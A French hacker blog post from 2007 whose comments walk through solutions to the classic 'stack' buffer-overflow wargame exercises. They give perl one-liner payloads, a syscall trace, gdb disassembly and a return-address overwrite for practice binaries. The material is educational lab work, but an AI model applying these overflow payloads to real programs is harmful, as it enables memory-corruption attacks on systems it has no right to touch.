Quand on croit savoir... on a l'air con lorsque l'on se rend compte que non
Par eau le lundi 27 août 2007, 23:30 - geeking - Lien permanent
Ouais je suis une grosse larve, je fous pas grand chose, mais j'avais envie de refaire des trucs que je pensais maitriser et que je ne pratique plus depuis des lustres... Résultat : je suis une grosse merde :)
Pas grave, on refait de zero :
Pour les relous, oui c'est hyper connu, mais c'est hyper utile.
J'essaierai de poster les resultats dans les prochaines semaines, du moins au fur et a mesure, oui j'ai du boulot à côté...
Dans le même esprit j'essaierai de poster une série de liens valides, vers des wargames intéressants ou des crackmes unix.
Commencez là :
Have fun !

Commentaires
$ perl -e "print 'A'x80","DCBA" | ./stack1buf: bfbfe55c cookie: bfbfe5ac
you win!
Segmentation fault (core dumped)
$ perl -e 'print "A"x80,"\x05\x03\x02\x01"' | ./stack2buf: bfbfe55c cookie: bfbfe5ac
you win!
Segmentation fault (core dumped)
les plus simples d'abord, la suite arrive..
$ perl -e 'print "A"x80,"\x05\x00\x02\x01"' | ./stack3buf: bfbfe55c cookie: bfbfe5ac
you win!
Segmentation fault (core dumped)
zarb il rale pas, sans doute le gets() et le fait de |er :
[...]10247 1 stack3 break(0x8050000) = 0
10247 1 stack3 read(0, 0x804c000, 0x4000) = 84 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\^E\0\^B\^A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
10247 1 stack3 read(0, 0x804c000, 0x4000) = 0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\^E\0\^B\^A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
[...]
bon c'est un peu à l'abandon dès le début, mais on continue un peu, quand on n'a rien à foutre.
Pour stack4 c'est un peu fourbasse. A cause des \x0a, hein, qui font ch*er. La solution retenue c'est de mettre dans la chaîne l'adresse mémoire de l'instruction 'printf("you win!");'.
Sous FreeBSD ça fonctionne facilement (merci ppr :p) :
$ make stack4 && gdb -q stack4(gdb) disas main
[...]
0x0804845a <main+54>: cmpl $0xd0a00,0xfffffff8(%ebp)
0x08048461 <main+61>: jne 0x804846f <main+75>
0x08048463 <main+63>: movl $0x8048558,(%esp)
0x0804846a <main+70>: call 0x8048338 <puts@plt>
[...]
Bon là on voit qu'on veut bypasser la comparaison (cmpl + jne), et sauter directement en 0x08048463.
Suffit de faire :
$ perl -e 'print "\x63\x84\x04\x08"x42' |./stack4Sous mon linux (debian) et NetBSD (demandez à eau), ça chie. On est un peu des quiches, mais les explications potentielles :
- le buffer fait plus de 80 char -> en dépassant allègrement ça change rien
- quand on veut pusher la chaîne du printf(), %esp déconne -> on remplit avec "\x58\x85\x04\x08\x63\x84\x04\x08", éventuellement un "\x41\x41\x41\x41" au début à cause de 'cookie', mais ça déconne encore. Faut sûrement faire joujou avec gdb et tâtonner, mais là, j'ai pas testé encore.